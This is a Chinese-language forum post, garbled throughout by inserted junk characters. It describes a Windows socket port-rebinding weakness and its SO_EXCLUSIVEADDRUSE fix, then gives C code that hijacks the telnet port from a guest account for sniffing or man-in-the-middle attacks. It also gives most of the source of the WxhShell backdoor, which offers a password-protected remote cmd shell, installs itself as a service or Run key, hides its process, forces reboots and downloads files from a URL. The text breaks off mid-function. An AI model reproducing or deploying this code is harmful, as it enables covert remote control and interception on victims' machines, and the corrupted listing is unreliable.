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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CCq<y s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k;zbq b9|F>3?r> saddr.sin_family = AF_INET; &:]_a?|*S /dOQ4VA\ saddr.sin_addr.s_addr = htonl(INADDR_ANY); nIph[Vs-Z mm#U a/~1u bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?RWd"JTGue y#AY+
> 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 i04Sf^ c'`7p/l. 这意味着什么?意味着可以进行如下的攻击: n4."}DO Zy*}C,Z 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 AaTtYd od^ha 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N0
?O*a u6r-{[W} 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5tq$SF42X $<s@S;Ri 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 @D"|Jq=6P S"3g 1yU^_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 '2[ _U&e K&|zWpb 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;;nmF# '3hvR4P 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 jHz] GMNf#;x #include Z,iklB- #include H50nR$$<*Y #include !uO|T'u0a #include J.?p?-" DWORD WINAPI ClientThread(LPVOID lpParam); 3"L$*toRA int main() p$9N}}/c { K4RjGSaF WORD wVersionRequested; V|a59[y? DWORD ret; 0]HK(,/h WSADATA wsaData; n,HWVo>([ BOOL val; ,MvvW{EY SOCKADDR_IN saddr; &H+<uYV SOCKADDR_IN scaddr; A1'IK. int err; ih YfWG| SOCKET s; fV5#k@,") SOCKET sc; d,0pNav) int caddsize;
>=Rb:#UM HANDLE mt; XqwdJND DWORD tid; 92tb`' wVersionRequested = MAKEWORD( 2, 2 ); Xs?>6i@$$ err = WSAStartup( wVersionRequested, &wsaData ); _|Dt6 if ( err != 0 ) { ^al
SyJ` printf("error!WSAStartup failed!\n"); ePY K^D return -1; m76]INq } 2 rBF<z7 saddr.sin_family = AF_INET; }`g*pp* eo,]b1C2n //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dJ;;l7":~ SMy&K[hJ[ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d)AkA\neWo saddr.sin_port = htons(23); D2mB4 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M<L<mP} { D"WkD j"M printf("error!socket failed!\n"); i'u;"ot=
return -1; z>&D~0 } <;T7qEIlo val = TRUE; G?g7G,|d //SO_REUSEADDR选项就是可以实现端口重绑定的 EtcamI*` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q6>vF)(
- { FPMk& printf("error!setsockopt failed!\n"); 0jS/U|0 return -1; (Zn\S*_@/ } ;|%r!!#-t //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YsDl2P //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2u:j6ic //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )
jvkwC =1(BKk> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) SM<kE<q# { O^:h _L ret=GetLastError(); u rOG Oa$ printf("error!bind failed!\n"); pWp2{G^XB return -1; M}<=~/k`j } Y^G3<.B listen(s,2); >tzXbmFp; while(1) E6gEP0b { QUDVsN# caddsize = sizeof(scaddr); L_r &'B //接受连接请求 2I<T<hFW] sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g}-Z]2(c# if(sc!=INVALID_SOCKET) X3nhqQTZ { *J=ol mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); lN'/Z&62 if(mt==NULL) 75HL { X
A|`wAGP printf("Thread Creat Failed!\n"); s*f.` A*) break; QFPx4F7(e } ni>
;8O]= } o;mIu#u CloseHandle(mt); $%JyM } jhG7sS| closesocket(s); p'qH [<s WSACleanup(); 7
L\? return 0; O:)IRB3 } HqBPY[;s DWORD WINAPI ClientThread(LPVOID lpParam) H\mVK!](D { ;l ()3; SOCKET ss = (SOCKET)lpParam; DZRxp, SOCKET sc; .M2&ad : unsigned char buf[4096]; F* }Q^% SOCKADDR_IN saddr; Xb*_LZAU long num; M[u3]dN DWORD val; zDyeAxh4 DWORD ret; }!V<"d,! //如果是隐藏端口应用的话,可以在此处加一些判断 [Z\1"m //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 3SDWR@x& saddr.sin_family = AF_INET; L0b]^_tI saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +c`C9RXk saddr.sin_port = htons(23); X&.$/xaT if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ukf\* { /'6[*]IZP printf("error!socket failed!\n"); i%PHYSJ. return -1; YO$b# } g/Jj]X#r val = 100; IQ=|Kj9h if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h<ct W>6v { Ko|xEz= ret = GetLastError(); zl
0^EltiU return -1; BC{J3<0bf@ } X]MM7hMuR if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9c}]:3#XO { 5zw23! ret = GetLastError(); efkie} return -1; ku9FN } sk6|_ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4*XP;` { W#7-%oT printf("error!socket connect failed!\n"); ,
gr&s+ closesocket(sc); OGi4m | closesocket(ss); -_*XhD return -1; IA 9v1:> } H&=4y) /. while(1) )7"DR+;: { MY*>)us\ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <T.#A8c //如果是嗅探内容的话,可以再此处进行内容分析和记录 p F*~)e //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LOUKURe E num = recv(ss,buf,4096,0); *o\Y~U-so if(num>0) _KhEwd send(sc,buf,num,0); &T/q0bwd else if(num==0) <\9Ijuq}k
break; Ta\8>\6 num = recv(sc,buf,4096,0); ^AjYe<RU} if(num>0) KYmWfM3^ send(ss,buf,num,0); M=
q~EMH else if(num==0)
;/^]| break; 7- 3N } (zro7gKked closesocket(ss); @1SKgbt> closesocket(sc); `_g?y) return 0 ; v6DxxE2n } 0m YZ7S5g "K$ Wh1<7 Q~Sv2 ========================================================== =.f +}y 'oHOFH9:{b 下边附上一个代码,,WXhSHELL XG\a-dq[ PxVI{:Uz ========================================================== A]O5+"mc seqF84Xd< #include "stdafx.h" $7gB&T.x +?5Uy*$ #include <stdio.h> EO9kE.g #include <string.h> o
+QzQ+ Z #include <windows.h> hKzBq*cV #include <winsock2.h> eYD9#y #include <winsvc.h> e"s {_V #include <urlmon.h> N} x/&e B:A1W{l #pragma comment (lib, "Ws2_32.lib") pW3)Y5/D #pragma comment (lib, "urlmon.lib") ({H+ y
9n peTO-x^a- #define MAX_USER 100 // 最大客户端连接数 [>M*_1F #define BUF_SOCK 200 // sock buffer $G-N0LV #define KEY_BUFF 255 // 输入 buffer ox\B3U%`p} DvRA2(M #define REBOOT 0 // 重启 hDD~,/yVxs #define SHUTDOWN 1 // 关机 ;*g*DIR %M;_(jda #define DEF_PORT 5000 // 监听端口 TA@tRGP> (9YYv+GGd* #define REG_LEN 16 // 注册表键长度 {Z?$Co^R #define SVC_LEN 80 // NT服务名长度 rz[uuY7 gGI#QPT`X // 从dll定义API =N@)CB7a typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LE0J ;|1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B~_,>WG typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ><#2O typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V$Xl^# tN '!yS72{$2 // wxhshell配置信息 FUzMc1zy| struct WSCFG { "3Xv%U9@ int ws_port; // 监听端口 7{Ki;1B[w char ws_passstr[REG_LEN]; // 口令 C$'D]fX int ws_autoins; // 安装标记, 1=yes 0=no }W__ffH char ws_regname[REG_LEN]; // 注册表键名 MKVfy:g%So char ws_svcname[REG_LEN]; // 服务名 iBtjd`V* char ws_svcdisp[SVC_LEN]; // 服务显示名 dxkRk#mf: char ws_svcdesc[SVC_LEN]; // 服务描述信息 6m-:F.k1( char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;Oi[:Ck int ws_downexe; // 下载执行标记, 1=yes 0=no [B"dH-r7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" _\4` char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KTLbqSS\ !e:iB7< }; 5M<'A= :~ZqB\>i // default Wxhshell configuration #90[PASx struct WSCFG wscfg={DEF_PORT, ~$&:NB1~q "xuhuanlingzhe", '#,e
@v 1, f.aB?\"f6 "Wxhshell", J8u{K.(*7 "Wxhshell", `x{.z=xC "WxhShell Service", *]}CSZ[> "Wrsky Windows CmdShell Service", M1/M}~ "Please Input Your Password: ", nOAJ9 1, 2qs>Bshf " http://www.wrsky.com/wxhshell.exe", VxkCK02k "Wxhshell.exe" (kWSK:l }; C%}]"0Q1 V-KL% // 消息定义模块 kf%&d}2to char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ow
cVPu_ char *msg_ws_prompt="\n\r? for help\n\r#>"; b 0LGH.
z4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; K0EY<Ltq char *msg_ws_ext="\n\rExit."; 3I9T|wQ-] char *msg_ws_end="\n\rQuit."; qj~flw1: char *msg_ws_boot="\n\rReboot..."; f7XQ~b char *msg_ws_poff="\n\rShutdown..."; Q00R<hu@F char *msg_ws_down="\n\rSave to "; =jg#fdM
- jOUK]>ox: char *msg_ws_err="\n\rErr!"; ]{f^;y8 char *msg_ws_ok="\n\rOK!"; CQ6'b,L& (C8 U char ExeFile[MAX_PATH]; h>}ax\h int nUser = 0; Ds%9cp*6 HANDLE handles[MAX_USER]; B.89_!/:p int OsIsNt; f4]N0 /y}"M SERVICE_STATUS serviceStatus; #O2wyG)oU SERVICE_STATUS_HANDLE hServiceStatusHandle; QWrIa1.JC 2v0!` &?M{ // 函数声明 yJ!OsD int Install(void); XDPL;(? int Uninstall(void); 63W{U/*aao int DownloadFile(char *sURL, SOCKET wsh); ShQ|{P9 int Boot(int flag); !ZFr7Xz void HideProc(void); =43I1&_
int GetOsVer(void); ""co6qo#> int Wxhshell(SOCKET wsl); n[!;yO void TalkWithClient(void *cs); q[7CPE0n int CmdShell(SOCKET sock); n;wwMMBM int StartFromService(void); 0,HqE='w int StartWxhshell(LPSTR lpCmdLine); F\a]n^
Y QE|`&~sme VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g>so
R&* VOID WINAPI NTServiceHandler( DWORD fdwControl ); w/ TKRCO3 U^MuZ // 数据结构和表定义 {m[s<A( SERVICE_TABLE_ENTRY DispatchTable[] = tR kF
{ ?hnx/z+uT {wscfg.ws_svcname, NTServiceMain}, o]Gguw5W{ {NULL, NULL} >R!"P[* }; &VDl/qnaL bmu6@jT // 自我安装 4'' ,6KJ@ int Install(void) e@E17l- { NmJ`?-Z char svExeFile[MAX_PATH]; x?#I4RJH; HKEY key; %SAw;ZtQ: strcpy(svExeFile,ExeFile); @5xu>g Kn GF8 -_X // 如果是win9x系统,修改注册表设为自启动 yGxv?%%2 if(!OsIsNt) { F@Q^?WV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y;Ap9i* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); > !L&>OOx RegCloseKey(key); Z|G/^DK! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?]c+j1i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ad9CsvW RegCloseKey(key); ef=K_,
_ return 0; `5q
;ssu } `1Zhq+s } Q$~n/ } ]dSK
wxk else { &SH1q_&BQ _%~$'Hy // 如果是NT以上系统,安装为系统服务 dH\XO-Z7v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3uV4/%U if (schSCManager!=0) !4WEk { X8i(~
B SC_HANDLE schService = CreateService *FK`&(B+} ( y7:tr schSCManager, Dw_D+7>(v wscfg.ws_svcname, $d/&k` wscfg.ws_svcdisp, ecj7BT[mLI SERVICE_ALL_ACCESS, pXu/(&? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e4`uVq5 SERVICE_AUTO_START, Ql %qQZV SERVICE_ERROR_NORMAL, )}MHx`KT2 svExeFile, V5mlJml2( NULL, $bvJTuw NULL, hIYTe NULL, JBC$Ku NULL, P:C2G(V1AR NULL I7n3xN&4" ); >Kivuc if (schService!=0) geM6G$V& { \(
)#e CloseServiceHandle(schService); ;
A,#;%j CloseServiceHandle(schSCManager); 5GQLd strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); En6H%^d2 strcat(svExeFile,wscfg.ws_svcname); :7g=b%; if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ka"337H RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 47r&8C+&\ RegCloseKey(key); R@iUCT^$ return 0; J=W0Xi! } 5D Y\:AF } j(rL CloseServiceHandle(schSCManager); ]m4OIst } 4)6xU4eBaL } B@y(. 3;[DJ5 return 1; &?,6~qm[ } T ?Fcohz( G:W>I=^DaR // 自我卸载 Oakb' int Uninstall(void) S4^N^lQ] { o%E;3l HKEY key; I1Sa^7 en F :>H4 if(!OsIsNt) { dXHB # if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S8d8%R~1=h RegDeleteValue(key,wscfg.ws_regname); ao" %WX RegCloseKey(key); Lw1EWN6}_& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I6!5Yj]O" RegDeleteValue(key,wscfg.ws_regname); cO2& VC RegCloseKey(key); @f+8%I3D return 0; i_Re* } 3REx45M2 } nlYR-. } O,2~"~kF else { WE6a' U9y|>P\)T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "9EE1];NT if (schSCManager!=0) ltB.Q { dy__e ^qi SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m([(:.X/IX if (schService!=0) \c v?^AI { TL$EV>Nr if(DeleteService(schService)!=0) { 6VP`evan CloseServiceHandle(schService); ^9OUzTF CloseServiceHandle(schSCManager); 7;@ST`cC return 0; T<3BT } u%/fx~t$ CloseServiceHandle(schService); >(w2GD? } :A
%^^F% CloseServiceHandle(schSCManager); SzwQOs* } gWABY%!} } DS-0gVYeDW QxuhGA return 1; Hs?e0Z=N } fj7|D'c HoV^Y6 // 从指定url下载文件 'i;|c int DownloadFile(char *sURL, SOCKET wsh) =deMd`=J { p.}Ls)I HRESULT hr; 9)xUA;Qw?z char seps[]= "/"; LMi:%i%\ char *token; iv`O/T char *file; Pq*s{ char myURL[MAX_PATH]; 0]QRsVz+ char myFILE[MAX_PATH]; ] Z8Vj7~ <FMq>d$\ strcpy(myURL,sURL); >hBxY]< \ token=strtok(myURL,seps); o"wXIHUmV while(token!=NULL) 8+]hpa,q { PJxH7|GSi file=token; D=:04V}2+ token=strtok(NULL,seps); ,+`61J3W } #;n+YM">: M"%Q&o/I GetCurrentDirectory(MAX_PATH,myFILE); ??TMSH strcat(myFILE, "\\"); 6v,z@!b strcat(myFILE, file); dz~co Z9 send(wsh,myFILE,strlen(myFILE),0); b:qY gg send(wsh,"...",3,0); GgaTn!mJt hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^pM+A6
XY if(hr==S_OK) zF5uN:-s return 0; r{L4]|(utY else +,~zWv1v return 1; r=yK,d/1 u77E! z4Uz } BBcV9CGU hOhS) // 系统电源模块 M#|dIbns
H int Boot(int flag) {3N'D2N { /1?R?N2>0 HANDLE hToken; ng:Q1Q9N TOKEN_PRIVILEGES tkp; XZw6Xtn NrP0Ep%V if(OsIsNt) { <~
J O
s2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L
8{\r$ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f|u#2!7 tkp.PrivilegeCount = 1; q80S[au tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NEa>\K<\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <b/~.$a' if(flag==REBOOT) { *T0q|P~o% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EyY.KxCB return 0; K't]n{$ } ^5r9 5 else { sB69R:U; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q f(p~a(d return 0; "`6n6r42 } )Ud-}* g } /%lZu^ else { =IAsH85Q if(flag==REBOOT) { *,Bzc Z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [pVamE return 0; C"IKt } vM_:&j_?`` else { 02BuX]_0g if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u{["50~ return 0; a~8[<F omj } 2Pc%fuC } MQin"\ E c s,$\ return 1; O{ /q-~_ } cyJG8f zSb PW6U // win9x进程隐藏模块 aZbw]0q@o void HideProc(void) G9JAcO1 { {\[5}nV N>>uCkC HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sUE?v9 if ( hKernel != NULL ) #pcP! { x`6<m!d` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Hr$QLtr ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H.UX,O@ FreeLibrary(hKernel); tnLAJ+-M } %6_AM ul*Qt} return; `O'`eY1f } ;j2vHU#q- ;qBu4'C)T // 获取操作系统版本 puT'y int GetOsVer(void) |\n_OS7 { I"KN"v^ OSVERSIONINFO winfo; (e"iO`H winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n9s iX GetVersionEx(&winfo); 6S~sVUL9` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SB)5@
nmS return 1; _SA5e3# else E}ZJ)V7 return 0; cYqfsd# B } `Qqk<o 3N_"rNKD // 客户端句柄模块 g(4xC7xK6 int Wxhshell(SOCKET wsl) ~,*b }O { MQ"xOcD*F SOCKET wsh; Zv#Ll@v struct sockaddr_in client; 'e6WDC1Am( DWORD myID; }*L(;r)q Qca&E`~Q while(nUser<MAX_USER) H#ncM~y* { :^(>YAyHj^ int nSize=sizeof(client); [}&Sxgv wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )wNP(
@$L if(wsh==INVALID_SOCKET) return 1; o^
XtU5SVq %HJK; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8Ac:_Zg if(handles[nUser]==0) Phke`3tth closesocket(wsh); @9"J|} else f%*/cpA) nUser++; ]9@F~) } ? YG)I;( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IC7M$ cb}[S:&| return 0; )Eo)t> } 6H7],aMg$A ukUGvK // 关闭 socket 87YyDWTn void CloseIt(SOCKET wsh) ^U!0-y { d N$Tf closesocket(wsh); v;ZA4c nUser--; \o^2y.q:> ExitThread(0); &c,kQo+pA } ~Rr~1I&mR, a0#J9O_ // 客户端请求句柄 R~6$oeWAw void TalkWithClient(void *cs) 1Yn
+<I { V=*wKuB RVQh2'w SOCKET wsh=(SOCKET)cs; WILMH`
char pwd[SVC_LEN]; Ll4g[8 char cmd[KEY_BUFF]; \QCJ4}\CS char chr[1]; _/tHD]um int i,j; a5TioQ @
rc{SB while (nUser < MAX_USER) { y9Us n8 Kh_Lp$'0uM if(wscfg.ws_passstr) { #n8IZ3+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^\S~?0^m //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =aTv! 8</ //ZeroMemory(pwd,KEY_BUFF); VB*oGG i=0; =UfsL% while(i<SVC_LEN) { {fjdr jJPGrkr // 设置超时 Ev}C<zk* fd_set FdRead; ,]d/Q< struct timeval TimeOut; }|8_9Rx0* FD_ZERO(&FdRead); SR|`! FD_SET(wsh,&FdRead); W~7A+=& TimeOut.tv_sec=8; ~XmLX)vO/ TimeOut.tv_usec=0; yvO{:B8% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #;2n;.a if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1^}[&ar `M^=
D&Bf if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E;R n`oxk pwd =chr[0]; DBr
ZzA if(chr[0]==0xd || chr[0]==0xa) { IHv[v*4: pwd=0; hJpxf,?'K break; %/zbgS` } c2'Lfgx4 i++; ]Hefm?9*^ } ?Yth0O6?sb naR0@Q"\h // 如果是非法用户,关闭 socket jYmR if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FW G6uKv } po2! S p;G'*g send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?En O"T. send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {CGUL|y m4hg'<<V while(1) { S79;^X `-J%pEIza ZeroMemory(cmd,KEY_BUFF); R5-@ fY51:0{ // 自动支持客户端 telnet标准 DpvI[r//'* j=0; 3yU.& k while(j<KEY_BUFF) { fPR1f~r if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J$GUB3
G cmd[j]=chr[0]; W_\5nF if(chr[0]==0xa || chr[0]==0xd) { 8m\7*l^D: cmd[j]=0; {E9+WFz5 break; d"*uBVzXm } gM
u"2I5 j++; g"p%C:NN } emqZztccZ #~2%) // 下载文件 >,$_| C if(strstr(cmd,"http://")) { ~obqG!2m send(wsh,msg_ws_down,strlen(msg_ws_down),0);
!sQY&* if(DownloadFile(cmd,wsh)) w[zjerH3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); e.7EU else hIs4@0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t^R][Ay& } (:TjoXXiY else { tl,.fjZn K1"*.\?F switch(cmd[0]) { =jOv] / t{^*6XOcJ // 帮助 .w=/+TA case '?': { LsqA**= send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y)0*b5?1r break; ;c-(ObSm } |:q=T
~x // 安装 H]{v;;'~ case 'i': { "7'J&^| if(Install()) ZkRx1S"m send(wsh,msg_ws_err,strlen(msg_ws_err),0); /YP{,#p else V:In>u$QJ! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xx."$l break; :~e>Ob[," } l&OKBUG // 卸载 X$
0?j1 case 'r': { fHE<( if(Uninstall()) :)wy.r;N send(wsh,msg_ws_err,strlen(msg_ws_err),0); q0i(i.h else Cc+t}"^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jaTh^L break; R}
eN@#"D } >Ea8G, // 显示 wxhshell 所在路径 nhB1D- case 'p': { ]fx"4qKM char svExeFile[MAX_PATH]; gn8R[5:!V strcpy(svExeFile,"\n\r"); $UMFNjL
strcat(svExeFile,ExeFile); \\r)Ue] send(wsh,svExeFile,strlen(svExeFile),0); b3&zjjQ break; 1L%CJ+Q#0i } FOv=!'So // 重启 I
WTwz!+ case 'b': { _X^1IaL send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `slL%j^" if(Boot(REBOOT)) ]e"=$2d$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5L+>ewl else { $?
m9") closesocket(wsh); WZ-s--n# ExitThread(0); )IP,;< } 0[RL>;D: break; nF54tR[ } j@W.&- _ // 关机 ?Nup1!D case 'd': { N|8P) send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *? 5*m+ if(Boot(SHUTDOWN)) ^!<U_;+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); b(*!$EB else { dT`D:)*: closesocket(wsh); y~Bh ExitThread(0); 3C?f(J} } MuYk};f break; Nh8Q b/:: } :=}US}H$ // 获取shell nG,A@/N case 's': { :Ux?, CmdShell(wsh); @GBxL*e closesocket(wsh);
|XT)QK1 ExitThread(0); ^WHE$4U` break; cGtO
+DE } E[2m&3& // 退出 %j:]^vqFA case 'x': { G^~k)6v=m send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z,RzN5eN CloseIt(wsh); I~q#eO) break; "8c@sHk(w } _a5d?Q9Z // 离开 iWRH{mK case 'q': { s:OFVlC%\ send(wsh,msg_ws_end,strlen(msg_ws_end),0); f* !j[U/r_ closesocket(wsh); dq7x3v^"ZG WSACleanup(); NiWa7 /Hr exit(1); %dRo^E1p break; r#+d&.| } ?{\nf7Y } J{l1nHQZSu } ZRv*!n(Ug< :j5n7s?&=y // 提示信息 2VF%@p if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C+?Hm1 } N96jJk } IC#>X5 d_AK`wR return; !(mjyr } N8!cO[3Oh Vx(B{5>Vu // shell模块句柄 uXI_M) int CmdShell(SOCKET sock) {p)",)td { fXXr+Mor STARTUPINFO si; ;lq;X{/ ZeroMemory(&si,sizeof(si)); -|kA)M[ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \qR7mI/* si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .clP#r{U PROCESS_INFORMATION ProcessInfo; *7*lE"$p char cmdline[]="cmd"; T#M,~lD CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $@sEn4h return 0; WzAb|&? } 0T@ Zb={ V7GRA#| // 自身启动模式 8j Mk)- int StartFromService(void) #?5 (o { 3Th'p aMG typedef struct {xwm^p(f { vK 7^*qr;j DWORD ExitStatus; "XB[|#& DWORD PebBaseAddress; (>F%UY DWORD AffinityMask; (2$(
?-M DWORD BasePriority; z8{a(nK P ULONG UniqueProcessId; JQ}$Aqk ULONG InheritedFromUniqueProcessId;
-%2[2p } PROCESS_BASIC_INFORMATION; g$(
